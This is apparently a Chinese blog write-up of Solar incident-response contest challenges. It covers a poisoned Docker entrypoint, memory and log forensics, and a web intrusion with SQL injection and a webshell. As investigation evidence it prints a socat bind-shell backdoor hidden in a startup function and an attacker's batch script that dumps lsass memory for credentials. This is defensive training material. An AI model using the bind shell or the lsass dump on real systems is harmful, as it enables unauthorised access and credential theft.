13 wscript.exe "%vbsfile%" 运行生成的 VBS 文件 使用 wscript(Windows Script Host)执行临时 VBS。 wscriptcscript 的差别:wscript 默认弹窗/消息框,cscript 在命令行模式。此处随后又用 shell.Run 隐藏了 PowerShell。
14 del /q "%vbsfile%" >nul 2>&1 清理(删除临时 VBS) 删除临时脚本并抑制输出/错误。 常见“清理痕迹”做法。若脚本失败可能文件仍存在。
15 :end / endlocal 结束标签与恢复环境 :end 跳转目标,endlocal 恢复上层环境变量并结束局部作用域。 在本脚本当前结构下,因早期 goto,实际只执行到这里而不生成/运行 VBS。

生成一个临时 VBS 文件 -> VBS 解码一个 base64 字符串 -> 把解出的文本作为 PowerShell 命令(经 UTF-16LE + base64)执行 -> 删除临时 VBS

重要的是base64编码的powershell命令,进行解码:

$target = "LHDh1x1zdIiVS+a5qYJrBPb0ixqHTxd+uJ/3tckUdOqG+mn113E=";$k="FixedKey123!";$d=[System.Text.Encoding]::UTF8.GetBytes((Read-Host "输入字符串"));$s=0..255;$j=0;0..255|%{$j=($j+$s[$_]+[byte]$k[$_%$k.Length])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};$i=$j=0;$r=@();$d|%{$i=($i+1)%256;$j=($j+$s[$i])%256;$s[$i],$s[$j]=$s[$j],$s[$i];$r+=$_-bxor$s[($s[$i]+$s[$j])%256]}; [System.Convert]::ToBase64String($r) -eq $target
序号 代码片段 作用 / 类型 详细说明与注意
1 $target = "LHDh1x1zdIiVS+a5qYJrBPb0ixqHTxd+uJ/3tckUdOqG+mn113E=" 目标密文(Base64) 这是预先给定的目标:RC4 加密后再 base64 编码的结果。要判断输入是否正确,最终会把计算结果与它比较。
2 $k="FixedKey123!"; 密钥(明文) RC4 的密钥是字节串 "FixedKey123!"(ASCII/UTF-16 不变式:后面按 [byte] 取每字符的字节值,等同于 ASCII/UTF-8 单字节编码)。
3 $d=[System.Text.Encoding]::UTF8.GetBytes((Read-Host "输入字符串")); 读取输入并转为 UTF-8 字节数组 Read-Host "输入字符串" 在控制台提示用户输入文本,GetBytes(...) 把输入按 UTF-8 编成字节数组(RC4 在字节级别工作)。
4 $s=0..255;$j=0; 初始化 S 盒数组与索引 j 0..255 生成 0..255 的整数数组(RC4 标准 S 置换表),$j 初始化为 0。
5 `0..255 %{$j=($j+$s[$]+[byte]$k[$%$k.Length])%256;$s[$],$s[$j]=$s[$j],$s[$]};` KSA(Key Scheduling Algorithm,密钥排表)
6 $i=$j=0;$r=@(); 初始化 PRGA 索引与结果数组 PRGA(伪随机生成器)开始,$i$j 重置为 0;$r 初始化为空数组用于收集密文字节。
7 `$d %{$i=($i+1)%256;$j=($j+$s[$i])%256;$s[$i],$s[$j]=$s[$j],$s[$i];$r+=$_-bxor$s[($s[$i]+$s[$j])%256]};` PRGA(对输入字节逐字节做流加密)
8 [System.Convert]::ToBase64String($r) -eq $target 输出比较布尔值 把结果字节数组 $r 做 Base64 编码,与 $target 字符串比较,结果是布尔值 TrueFalse(表示输入是否被加密后等于目标)。

这段代码实现了 RC4 加密/解密 流程:把用户输入按 UTF-8 转为字节流,用 key 做 RC4 加密,结果做 Base64,再与预设的 $target 字符串比较,输出布尔值(是否相等)

image-20251110101422384

2025年Solar应急响应6月月赛

参考文章:2025-6月Solar应急响应公益月赛排名及官方题解solar月赛6月 - yk1ng - 博客园

RSA_LOCK

不会逆向,看官方WP:2025-6月Solar应急响应公益月赛排名及官方题解

nginx-proxy

粗心的技术从第三方网站下载了开源环境,但是这个好像是被投毒了,容器中的后门文件是哪个?请寻找后门,并找到后门文件的函数名称提交。(FLAG无需flag{}包裹,如function abc() 提交abc即可。)

使用D盾等工具扫描都没有结果,手动寻找

使用everything分析最后修改时间的文件:

QQ_1763090934414

关注修改时间靠前的文件,发现Docker容器的入口点脚本app/docker-entrypoint.sh存在创造后门的命令:

image-20251114092833198

if command -v socat >/dev/null 2>&1; then
		nohup socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/bin/bash >/dev/null 2>&1 &
fi
命令 作用
command -v socat 检查系统是否安装 socat 工具
>/dev/null 2>&1 隐藏所有输出信息
nohup 让进程在后台持续运行,不受退出影响
socat TCP-LISTEN:9999 在 9999 端口监听 TCP 连接
reuseaddr,fork 允许地址重用,为每个连接创建子进程
EXEC:/bin/bash 将连接与 bash shell 绑定
> /dev/null 2>&1 & 后台运行并隐藏所有输出

该命令藏在启动函数_setup_monitoring()

nginx-proxy-1

经过你细心的排查,粗心的技术成功去除掉后门后个文件中配置对安全存在隐患?请提交存在隐患的文件名称。(FLAG无需flag{}包裹,如abc.txt提交abc.txt即可。)

分析docker-compose.yml的配置:

services:
  nginx-proxy:
    image: nginx-proxy:alpine
    container_name: nginx-proxy
    ports:
      - "80:80"   
      - "9999:9999" 
    volumes:
      - /var/run/docker.sock:/tmp/docker.sock:ro

    # if you want to proxy based on host ports, you'll want to use the host network
    # network_mode: "host"

  whoami:
    image: jwilder/whoami
    environment:
      - VIRTUAL_HOST=whoami.example
组件 配置项 功能说明
nginx-proxy 镜像: nginx-proxy:alpine 反向代理服务器
端口: 80:80 HTTP 服务端口
端口: 9999:9999 自定义高端口
卷: /var/run/docker.sock Docker 套接字挂载
网络模式: 注释状态 默认使用桥接网络
whoami 镜像: jwilder/whoami 测试用 HTTP 服务
环境变量: VIRTUAL_HOST 虚拟主机配置

docker.sock是Docker守护进程的API接口,拥有对Docker守护进程的完全控制权。如果容器内的应用被攻击者控制,攻击者可以通过docker.sock控制宿主机上的所有容器,甚至逃离容器并在宿主机上执行命令。

B01.1-恶意进程与连接分析

此服务器被植入了一个后门,请提交后门文件的进程名称。(注意大小写)

查看启动项:

msconfig

image-20251114133337015

制造商未知,进行查看其目录,发现其修改日期可疑:

image-20251114133808404

任务管理器中,64位系统运行32位程序

image-20251114133911018

或者用火绒剑:

image-20251114152257644

B01.2-恶意进程与连接分析

此服务器被植入了一个后门,请提交后门文件链接的IP地址及端口号。如:8.8.8.8:22

查看外联情况:

netstat -ano

image-20251114135803086

只有两个外联地址

10.0.8.101:44510.66.66.66:8080

答案是10.66.66.66:8080

参考官方WP:

640 (1)

有选手可能误认为是 23.32.238.224:80,但:

1.该地址实际为 msftconnecttest.com 的解析结果。

2.属于微软用于网络连通性测试的域名。

3.非长期持久连接,过一段时间可能消失。(我的环境已经消失了)

23.32.238.224在2008出现一般是指的www.msftconnecttest.com域名解析地址,所以此处排除。

火绒剑:

image-20251114152333671

B01.3-恶意进程与连接分析

此服务器被植入了一个后门,请提交后门文件的文件地址的小写MD5。

由上上题可知后门文件路径为:C:\Program Files (x86)\Internet Explorer\WinHelper.exe

image-20251114143006292

B01.4-恶意进程与连接分析

此服务器被植入了一个后门,请提交后门文件的大写MD5值。

计算:

certutil -hashfile WinHelper.exe MD5

image-20251114143200105

2025年Solar应急响应7月月赛

参考文章:Solar应急响应月赛-7月WP | mX1@0_blog2025-7月Solar应急响应月赛WP!Solar 应急响应赛 7 月 Writeup - CloneWith's PageSolar应急响应月赛-7月 WP - PengSoar - 博客园2025年Solar应急响应公益月赛-7月|n0o0b's blog

B02-奇怪的加密器(失败)

糟糕!一个客户的服务器的一个文件被加密了,为了防止感染,我将其放入了回收站,请你快点恢复我的flag生成器!这非常重要!!!服务器密码是:qsnctf

开启进入VNC环境,打开回收站:

image-20251111094519479

VNC是一个成熟可靠的远程桌面控制解决方案,特别适合:

  • 跨平台远程支持
  • 服务器图形化管理
  • 技术培训和演示
  • 嵌入式设备调试

连接NASnas.qsnctf.com

image-20251111091301779

此处需要输入的是注册青少年CTF平台(www.qsnctf.com)时所用的手机号,在密码栏中输入自己的登录密码(参考:https://mp.weixin.qq.com/s/XFisEU5Gdk245cn8jsnlZQ)
使用工具连接服务器:
服务器地址 nas.qsnctf.com
端口号 2222
就算如此也是看不懂,这里贴上官方WP:2025-7月Solar应急响应月赛WP!

VOL_EASY

某企业服务器近日遭受隐秘入侵。安全团队通过日志溯源发现,黑客利用Web应用漏洞植入恶意后门,根据溯源的信息配合警方逮捕了黑客,安全团队已经紧急保存了黑客电脑的内存转储文件,请你开始取证以便固定证据。请根据题目文件,找出下面10条证据让罪犯服软吧!

【任务1】VOL_EASY

黑客上传的一句话木马密码是多少?

实用工具lovelymemlite已可以免费使用,项目地址:Tokeii0/LovelyMem: 基于Memprocfs和Volatility的可视化内存取证工具,这里用的付费版

黑客电脑的内存转储文件,对其中的文件搜索关键词:

image-20251111102035628

image-20251111102410329

可以发现在蚁剑的工作目录中存在这个shell的利用记录

或者在浏览器历史记录中发现ezshell.php,然后扫描找到路径并导出分析(来源:Solar应急响应月赛-7月WP | mX1@0_blog):

vol2 -f vol_easy.vmem profile=Win7sP1x64 iehistory


vol2 -f vol_easy.vmem profile=Win7sP1x64 filescan | grep "ezshell.php"


vol2 -f vol_easy.vmem profile=Win7sP1x64 dumpfiles -Q 0x000000007ddf2280 -D output/

【任务2】VOL_EASY

黑客使用的木马连接工具叫什么(比如xx.exe)?(仅首字母大写)

由上题可知使用的蚁剑

也可以分析进程发现AntSword.exe

image-20251111103426528

【任务3】VOL_EASY

黑客使用的木马连接工具的位置在哪里(比如C:\xxxx\xx.exe) ?

image-20251111103533399

【任务4】VOL_EASY

黑客获取到的FLAG是什么?

通过搜索关键词或在桌面发现flag.txt文件

image-20251111112630388

【任务5】VOL_EASY

黑客入侵的网站地址是多少(只需要http://xxxxx/)?

通过查看浏览器历史记录可知

**************************************************
Process: 1656 explorer.exe
Cache type "DEST" at 0x6bcb23d
Last modified: 2025-07-23 17:37:39 UTC+0000
Last accessed: 2025-07-23 09:37:40 UTC+0000
URL: Administrator@http://192.168.186.140/uploads/6880ad58e4e88.php
**************************************************
Process: 1656 explorer.exe
Cache type "DEST" at 0x6bcb9dd
Last modified: 2025-07-23 17:37:28 UTC+0000
Last accessed: 2025-07-23 09:37:30 UTC+0000
URL: Administrator@file:///C:/Tools/ezshell.php
**************************************************
Process: 1928 iexplore.exe
Cache type "DEST" at 0x4768235
Last modified: 2025-07-23 17:37:29 UTC+0000
Last accessed: 2025-07-23 09:37:30 UTC+0000
URL: Administrator@http://192.168.186.140/index.php

Volatility2相关插件:

  • iehistory
  • chromehistory
  • firefoxhistory

【任务6】VOL_EASY

黑客入侵时,使用的系统用户名是什么?

通过查看浏览器历史记录可知,使用的系统用户是Administrator

【任务7】VOL_EASY

黑客创建隐藏账户的密码是多少?

攻击者在靶机上创建隐藏账户的信息应在攻击工具的内存中有记录,内存转储Antsowrd(官方WP):

img转储成功后,提取所有的strings

或者直接通过搜索关键词:

image-20251111105808602

【任务8】VOL_EASY

黑客首次操作靶机的关键程序是什么?

在桌面发现dump_lass.bat,右键导出

@echo off
echo [*] 正在获取 lsass.exe PID...

for /f "tokens=2 delims=," %%a in ('tasklist /FI "IMAGENAME eq lsass.exe" /FO CSV /NH') do (
    set PID=%%~a
)

if "%PID%"=="" (
    echo [!] 未找到 lsass.exe 进程,或没有权限。
    pause
    exit /b 1
)

echo [*] PID: %PID%
echo [*] 正在尝试导出内存转储...

set OUTPUT=%~dp0lsass.dmp

rundll32.exe comsvcs.dll, MiniDump %PID% %OUTPUT% full

if exist "%OUTPUT%" (
    echo [✓] 成功导出 lsass 内存为: %OUTPUT%
) else (
    echo [!] 导出失败,可能权限不足。
)

因此操作靶机的关键进程是通过获取lsass.exe得到靶机凭证

【任务9】VOL_EASY

该关键程序的PID是多少?

通过搜索关键词发现相关输出(010 editor分析更快):

image-20251111113906991

image-20251111114111520

【任务10】VOL_EASY

该关键程序的内存文件保存到了什么地方?

image-20251111114022064

image-20251111114034245

应急大师

这是一台被黑客入侵的服务器,安全团队有进行一些基础溯源。目前服务器已经断网处理,请你继续协助安全团队进行溯源分析,将整个证据链补充完整。服务器密码是qsnctf。

【任务1】应急大师

请提交隐藏用户的名称?

非常显眼

image-20251111114434824

【任务2】应急大师

请提交黑客的IP地址?

进入桌面,此服务器是以小皮面板搭建的:

image-20251111114814335

c:\phpstudy_pro\logs:面板即其他部分组件的操作日志(面板启动、停止、配置更改等)

c:\phpstudy_pro\Extensions\Nginx\logs:Nginx Web服务器日志(所有网站访问记录、Nginx服务错误信息)

优先分析c:\phpstudy_pro\Extensions\Nginx\logs中的内容,发现可疑文件上传并利用行为:

image-20251111130306480

【任务3】应急大师

请提交黑客的一句话木马密码?

分析上题发现的可疑上传文件

image-20251111130521206

【任务4】应急大师

请提交黑客创建隐藏用户的TargetSid(目标账户安全ID)?

输入命令查看:

wmic useraccount get name,sid

image-20251111131056286

S-1-5-21-3845547894-970975367-1760185533-1000

  • S-1-5:这是固定的修订号和标识符授权值,常见于本地用户和域用户。
  • 21-...-1760185533:这一长串数字是计算机或域的唯一标识符。
  • 1000:最后一部分是相对标识符 (RID),用于在计算机或域内唯一标识一个用户或组。例如,500 通常是内置管理员账户的 RID。

【任务5】应急大师

请提交黑客创建隐藏账户的时间(格式为 年/月/日 时:分:秒)?

安全事件中查询创建用户事件4720

security.

image-20251111132107746

【任务6】应急大师

黑客将这个隐藏用户先后加入了哪几个用户组?提交格式为 第一个用户组-第二个用户组,如student-teacher
  • 改变域控用户组:4728
  • 改变本地用户组:4732

Users组加入Administrators

image-20251111132755394

image-20251111132811849

【任务7】应急大师

黑客通过远程桌面成功登陆系统管理员账号的网络地址及端口号?提交格式为 IP:PORT 如 127.0.0.1:41110
  • 登录成功事件:4624
    • Logon Type = 10远程桌面登录(RDP)
    • Logon Type = 3网络登录(如通过共享、远程管理等)

寻找7月23日17点左右的记录:

image-20251111150108248

公交车系统攻击事件排查

思而听公交系统被黑客攻击,黑客通过web进行了攻击并获取了数据,然后获取了其中一位驾校师傅在FTP服务中的私密文件,其后黑客找到了任意文件上传漏洞进行了GETshell,控制了主机权限并植入了挖矿网页挖矿病毒,接下来你需要逐步排查。
注意:
流量中的21端口对应2121、80端口对应8090。
root的SSH密码为bussec123,第二个地址是SSH地址。

【任务1】公交车系统攻击事件排查

分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}

查看日志/var/log/apache2/access.log发现SQL注入痕迹:

image-20251111151651408

image-20251111152657967

使用python脚本对日志数据进行处理:

import tkinter as tk
from tkinter import ttk, filedialog, messagebox, scrolledtext
import re
import os
from pathlib import Path
import threading
import urllib.parse
import base64

class LogRegexTool:
    def __init__(self, root):
        self.root = root
        self.root.title("日志正则匹配工具")
        self.root.geometry("800x650")
        
        # 存储选择的文件
        self.selected_files = []
        
        # 解码选项变量
        self.url_decode_var = tk.BooleanVar()
        self.base64_decode_var = tk.BooleanVar()
        
        self.setup_ui()
    
    def setup_ui(self):
        # 主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        # 文件选择区域
        file_frame = ttk.LabelFrame(main_frame, text="日志文件选择", padding="5")
        file_frame.grid(row=0, column=0, columnspan=2, sticky=(tk.W, tk.E), pady=(0, 10))
        
        # 文件选择按钮和列表
        ttk.Button(file_frame, text="选择日志文件", command=self.select_files).grid(row=0, column=0, padx=(0, 10))
        ttk.Button(file_frame, text="清空文件列表", command=self.clear_files).grid(row=0, column=1)
        
        # 文件列表
        self.file_listbox = tk.Listbox(file_frame, height=6)
        self.file_listbox.grid(row=1, column=0, columnspan=2, sticky=(tk.W, tk.E), pady=(5, 0))
        
        # 滚动条 for 文件列表
        scrollbar_files = ttk.Scrollbar(file_frame, orient="vertical", command=self.file_listbox.yview)
        scrollbar_files.grid(row=1, column=2, sticky=(tk.N, tk.S))
        self.file_listbox.configure(yscrollcommand=scrollbar_files.set)
        
        # 参数输入区域
        param_frame = ttk.LabelFrame(main_frame, text="正则匹配参数", padding="5")
        param_frame.grid(row=1, column=0, columnspan=2, sticky=(tk.W, tk.E), pady=(0, 10))
        
        ttk.Label(param_frame, text="匹配参数:").grid(row=0, column=0, sticky=tk.W, padx=(0, 5))
        self.param_entry = ttk.Entry(param_frame, width=50)
        self.param_entry.grid(row=0, column=1, sticky=(tk.W, tk.E), padx=(0, 10))
        
        # 示例说明
        example_text = """示例: 
原日志: 172.17.0.1 - - [23/Jul/2025:03:08:56 +0000] "GET /search.php?route_name_plain=1&query=MQ%3D%3D HTTP/1.1" 200 1219
输入参数: query
输出: MQ%3D%3D

支持多个参数,用逗号分隔,如: query, route_name_plain"""
        example_label = ttk.Label(param_frame, text=example_text, justify=tk.LEFT, foreground="gray")
        example_label.grid(row=1, column=0, columnspan=2, sticky=tk.W, pady=(5, 0))
        
        # 解码选项区域
        decode_frame = ttk.LabelFrame(main_frame, text="解码选项", padding="5")
        decode_frame.grid(row=2, column=0, columnspan=2, sticky=(tk.W, tk.E), pady=(0, 10))
        
        # URL解码选项
        url_decode_check = ttk.Checkbutton(
            decode_frame, 
            text="对匹配结果进行URL解码", 
            variable=self.url_decode_var,
            command=self.on_decode_option_change
        )
        url_decode_check.grid(row=0, column=0, sticky=tk.W, padx=(0, 20))
        
        # Base64解码选项
        base64_decode_check = ttk.Checkbutton(
            decode_frame, 
            text="对匹配结果进行Base64解码(需要先URL解码)", 
            variable=self.base64_decode_var,
            command=self.on_decode_option_change
        )
        base64_decode_check.grid(row=0, column=1, sticky=tk.W)
        
        # 解码说明
        decode_note = ttk.Label(
            decode_frame, 
            text="注意: Base64解码需要先进行URL解码,选择Base64解码会自动启用URL解码",
            foreground="blue", 
            font=("TkDefaultFont", 8)
        )
        decode_note.grid(row=1, column=0, columnspan=2, sticky=tk.W, pady=(5, 0))
        
        # 输出设置区域
        output_frame = ttk.LabelFrame(main_frame, text="输出设置", padding="5")
        output_frame.grid(row=3, column=0, columnspan=2, sticky=(tk.W, tk.E), pady=(0, 10))
        
        ttk.Label(output_frame, text="输出文件名:").grid(row=0, column=0, sticky=tk.W, padx=(0, 5))
        self.output_entry = ttk.Entry(output_frame, width=50)
        self.output_entry.grid(row=0, column=1, sticky=(tk.W, tk.E))
        self.output_entry.insert(0, "filtered_logs.txt")
        
        ttk.Button(output_frame, text="选择输出路径", command=self.select_output_path).grid(row=0, column=2, padx=(5, 0))
        
        # 按钮区域
        button_frame = ttk.Frame(main_frame)
        button_frame.grid(row=4, column=0, columnspan=2, pady=(0, 10))
        
        self.process_btn = ttk.Button(button_frame, text="开始处理", command=self.start_processing)
        self.process_btn.grid(row=0, column=0, padx=(0, 10))
        
        self.clear_btn = ttk.Button(button_frame, text="清空结果", command=self.clear_results)
        self.clear_btn.grid(row=0, column=1, padx=(0, 10))
        
        # 进度条
        self.progress = ttk.Progressbar(main_frame, mode='indeterminate')
        self.progress.grid(row=5, column=0, columnspan=2, sticky=(tk.W, tk.E), pady=(0, 10))
        
        # 结果显示区域
        result_frame = ttk.LabelFrame(main_frame, text="处理结果", padding="5")
        result_frame.grid(row=6, column=0, columnspan=2, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        self.result_text = scrolledtext.ScrolledText(result_frame, height=15, wrap=tk.WORD)
        self.result_text.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        # 配置权重
        main_frame.columnconfigure(0, weight=1)
        main_frame.rowconfigure(6, weight=1)
        file_frame.columnconfigure(1, weight=1)
        param_frame.columnconfigure(1, weight=1)
        decode_frame.columnconfigure(1, weight=1)
        output_frame.columnconfigure(1, weight=1)
        result_frame.columnconfigure(0, weight=1)
        result_frame.rowconfigure(0, weight=1)
        self.root.columnconfigure(0, weight=1)
        self.root.rowconfigure(0, weight=1)
    
    def on_decode_option_change(self):
        """当解码选项改变时的处理"""
        # 如果选择了Base64解码,自动启用URL解码
        if self.base64_decode_var.get():
            self.url_decode_var.set(True)
    
    def select_files(self):
        files = filedialog.askopenfilenames(
            title="选择日志文件",
            filetypes=[("日志文件", "*.log"), ("文本文件", "*.txt"), ("所有文件", "*.*")]
        )
        if files:
            self.selected_files.extend(files)
            self.update_file_list()
    
    def clear_files(self):
        self.selected_files.clear()
        self.update_file_list()
    
    def update_file_list(self):
        self.file_listbox.delete(0, tk.END)
        for file in self.selected_files:
            self.file_listbox.insert(tk.END, file)
    
    def select_output_path(self):
        file_path = filedialog.asksaveasfilename(
            title="选择输出文件",
            defaultextension=".txt",
            filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")]
        )
        if file_path:
            self.output_entry.delete(0, tk.END)
            self.output_entry.insert(0, file_path)
    
    def decode_value(self, value):
        """对值进行解码处理"""
        original_value = value
        decode_steps = []
        
        # URL解码
        if self.url_decode_var.get():
            try:
                value = urllib.parse.unquote(value)
                decode_steps.append(f"URL解码: {original_value} -> {value}")
                original_value = value  # 更新原始值用于下一步解码
            except Exception as e:
                decode_steps.append(f"URL解码失败: {str(e)}")
        
        # Base64解码
        if self.base64_decode_var.get():
            try:
                # 尝试解码Base64
                decoded_bytes = base64.b64decode(value)
                value = decoded_bytes.decode('utf-8')
                decode_steps.append(f"Base64解码: {original_value} -> {value}")
            except Exception as e:
                decode_steps.append(f"Base64解码失败: {str(e)}")
        
        return value, decode_steps
    
    def build_regex_pattern(self, params):
        """构建正则表达式模式"""
        patterns = []
        for param in params:
            # 匹配 param=value 格式,value可以包含除了空格和&之外的字符
            pattern = rf'{re.escape(param)}=([^&\s]+)'
            patterns.append(pattern)
        
        # 组合所有模式,用|连接
        return '|'.join(patterns)
    
    def process_files(self):
        """处理文件的主函数"""
        try:
            # 获取参数
            param_input = self.param_entry.get().strip()
            if not param_input:
                messagebox.showerror("错误", "请输入匹配参数")
                return
            
            if not self.selected_files:
                messagebox.showerror("错误", "请选择至少一个日志文件")
                return
            
            output_path = self.output_entry.get().strip()
            if not output_path:
                messagebox.showerror("错误", "请输入输出文件名")
                return
            
            # 解析参数
            params = [p.strip() for p in param_input.split(',') if p.strip()]
            regex_pattern = self.build_regex_pattern(params)
            
            self.result_text.delete(1.0, tk.END)
            self.result_text.insert(tk.END, f"开始处理 {len(self.selected_files)} 个文件...\n")
            self.result_text.insert(tk.END, f"匹配参数: {', '.join(params)}\n")
            self.result_text.insert(tk.END, f"正则模式: {regex_pattern}\n")
            
            # 显示解码选项状态
            decode_status = []
            if self.url_decode_var.get():
                decode_status.append("URL解码")
            if self.base64_decode_var.get():
                decode_status.append("Base64解码")
            if decode_status:
                self.result_text.insert(tk.END, f"解码选项: {', '.join(decode_status)}\n")
            else:
                self.result_text.insert(tk.END, "解码选项: 无\n")
                
            self.result_text.insert(tk.END, "-" * 50 + "\n")
            
            total_matches = 0
            
            # 处理每个文件
            for file_path in self.selected_files:
                file_matches = 0
                self.result_text.insert(tk.END, f"\n处理文件: {os.path.basename(file_path)}\n")
                
                try:
                    with open(file_path, 'r', encoding='utf-8', errors='ignore') as infile:
                        for line_num, line in enumerate(infile, 1):
                            matches = re.findall(regex_pattern, line)
                            if matches:
                                # 由于使用了分组,matches可能包含空字符串,需要过滤
                                valid_matches = [match for match in matches if match]
                                for match in valid_matches:
                                    # 解码处理
                                    decoded_value, decode_steps = self.decode_value(match)
                                    
                                    # 输出结果
                                    if match == decoded_value:
                                        # 没有解码或解码后值不变
                                        self.result_text.insert(tk.END, f"{match}\n")
                                    else:
                                        # 不显示解码过程
                                        self.result_text.insert(tk.END, f"{decoded_value}\n")
                                    
                                    file_matches += 1
                                    total_matches += 1
                    
                    self.result_text.insert(tk.END, f"  在文件 {os.path.basename(file_path)} 中找到 {file_matches} 个匹配\n")
                    
                except Exception as e:
                    self.result_text.insert(tk.END, f"  处理文件时出错: {str(e)}\n")
            
            # 写入输出文件
            if total_matches > 0:
                self.save_results_to_file(output_path, params, regex_pattern)
                self.result_text.insert(tk.END, f"\n处理完成! 总共找到 {total_matches} 个匹配\n")
                self.result_text.insert(tk.END, f"结果已保存到: {output_path}\n")
            else:
                self.result_text.insert(tk.END, f"\n处理完成! 未找到任何匹配\n")
                
        except Exception as e:
            messagebox.showerror("错误", f"处理过程中发生错误: {str(e)}")
        finally:
            self.progress.stop()
            self.process_btn.config(state="normal")
    
    def save_results_to_file(self, output_path, params, regex_pattern):
        """将结果保存到文件"""
        try:
            with open(output_path, 'w', encoding='utf-8') as outfile:
                outfile.write(f"日志正则匹配结果\n")
                outfile.write(f"匹配参数: {', '.join(params)}\n")
                outfile.write(f"正则模式: {regex_pattern}\n")
                
                # 写入解码选项
                decode_status = []
                if self.url_decode_var.get():
                    decode_status.append("URL解码")
                if self.base64_decode_var.get():
                    decode_status.append("Base64解码")
                if decode_status:
                    outfile.write(f"解码选项: {', '.join(decode_status)}\n")
                else:
                    outfile.write("解码选项: 无\n")
                    
                outfile.write("=" * 50 + "\n\n")
                
                # 重新处理文件来写入匹配结果
                for file_path in self.selected_files:
                    outfile.write(f"文件: {file_path}\n")
                    outfile.write("-" * 30 + "\n")
                    
                    try:
                        with open(file_path, 'r', encoding='utf-8', errors='ignore') as infile:
                            for line_num, line in enumerate(infile, 1):
                                matches = re.findall(regex_pattern, line)
                                if matches:
                                    valid_matches = [match for match in matches if match]
                                    for match in valid_matches:
                                        # 解码处理
                                        decoded_value, _ = self.decode_value(match)
                                        
                                        if match == decoded_value:
                                            outfile.write(f"{match}\n")
                                        else:
                                            outfile.write(f"{decoded_value}\n")
                        outfile.write("\n")
                    except Exception as e:
                        outfile.write(f"处理文件时出错: {str(e)}\n\n")
                        
        except Exception as e:
            raise Exception(f"保存结果文件时出错: {str(e)}")
    
    def start_processing(self):
        """开始处理(在线程中运行)"""
        self.progress.start()
        self.process_btn.config(state="disabled")
        
        # 在新线程中处理文件,避免界面冻结
        thread = threading.Thread(target=self.process_files)
        thread.daemon = True
        thread.start()
    
    def clear_results(self):
        """清空结果显示"""
        self.result_text.delete(1.0, tk.END)

def main():
    root = tk.Tk()
    app = LogRegexTool(root)
    root.mainloop()

if __name__ == "__main__":
    main()

image-20251111160631069

可以发现SQL报错注入是以password进行排序的,连接数据库bus_system查看数据表bus_drivers/var/www/html/src/includes/db.php中配置了mysql的用户名和密码,也可以本地直接连接):

use bus_system;
select * from bus_drivers order by password;

image-20251111162233802

image-20251111162827458

或再次进行过滤,报错注入过滤!=后的数字再进行解码:

image-20251111161838763

import re
import sys
import argparse

def extract_after_neq(content):
    """
    从内容中提取所有 != 后面的内容直到遇到逗号
    
    Args:
        content: 输入的内容字符串
        
    Returns:
        list: 提取到的内容列表
    """
    # 正则表达式匹配 != 后面的内容直到遇到逗号
    pattern = r'!=\s*([^,]+)'
    matches = re.findall(pattern, content)
    
    # 清理提取的内容(去除可能的空格)
    cleaned_matches = [match.strip() for match in matches]
    
    return cleaned_matches

def process_file(input_file, output_file=None):
    """
    处理文件并提取内容
    
    Args:
        input_file: 输入文件路径
        output_file: 输出文件路径(可选)
    """
    try:
        with open(input_file, 'r', encoding='utf-8') as f:
            content = f.read()
        
        # 提取内容
        results = extract_after_neq(content)
        
        # 输出结果
        if output_file:
            with open(output_file, 'w', encoding='utf-8') as f:
                for result in results:
                    f.write(result + '\n')
            print(f"结果已保存到: {output_file}")
        else:
            print("提取到的内容:")
            for result in results:
                print(result)
                
        return results
        
    except FileNotFoundError:
        print(f"错误: 找不到文件 {input_file}")
        return []
    except Exception as e:
        print(f"处理文件时出错: {e}")
        return []

def process_text(text):
    """
    直接处理文本内容
    
    Args:
        text: 输入文本
        
    Returns:
        list: 提取到的内容列表
    """
    results = extract_after_neq(text)
    
    print("提取到的内容:")
    for result in results:
        print(result)
        
    return results

def main():
    parser = argparse.ArgumentParser(description='提取 != 后面的内容直到逗号')
    parser.add_argument('-i', '--input', help='输入文件路径')
    parser.add_argument('-o', '--output', help='输出文件路径(可选)')
    parser.add_argument('-t', '--text', help='直接输入文本进行处理')
    
    args = parser.parse_args()
    
    if args.text:
        # 处理直接输入的文本
        process_text(args.text)
    elif args.input:
        # 处理文件
        process_file(args.input, args.output)
    else:
        # 如果没有参数,进入交互模式
        print("请输入要处理的文本(输入空行结束):")
        lines = []
        while True:
            line = input()
            if line == '':
                break
            lines.append(line)
        
        text = '\n'.join(lines)
        if text.strip():
            process_text(text)
        else:
            print("没有输入内容")

if __name__ == "__main__":
    main()

image-20251111164430232

【任务2】公交车系统攻击事件排查

黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}

根目录下存在流量文件result1.pcap,分析追踪TCP协议的FTP流量

tcp.port==2121&&tcp contains "successfully"

image-20251111165401404

发现ftp目录/home/wangqiang/ftp

或者直接在主机上搜索ftp关键词发现ftp目录/home/wangqiang/ftp

image-20251111165510982

上机寻找即可

【任务3】公交车系统攻击事件排查

可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}

很快能在web服务的文件夹/var/www/html/public/uploads中发现哥斯拉木马shell1.php(用D盾扫也行):

image-20251111170104948

【任务4】公交车系统攻击事件排查

分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}

在流量包中过滤上传、利用木马流量:

http contains "shell1.php"

image-20251111172606208

使用工具解密流量:

image-20251111172550685

可以发现攻击者通过命令执行将恶意的map.php文件替换了网站的index.php

【任务5】公交车系统攻击事件排查

分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}

这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿,说明问题出在前端

主页前端JS代码中存在混淆内容,进行解码可得:

image-20251111171313665

(function() {
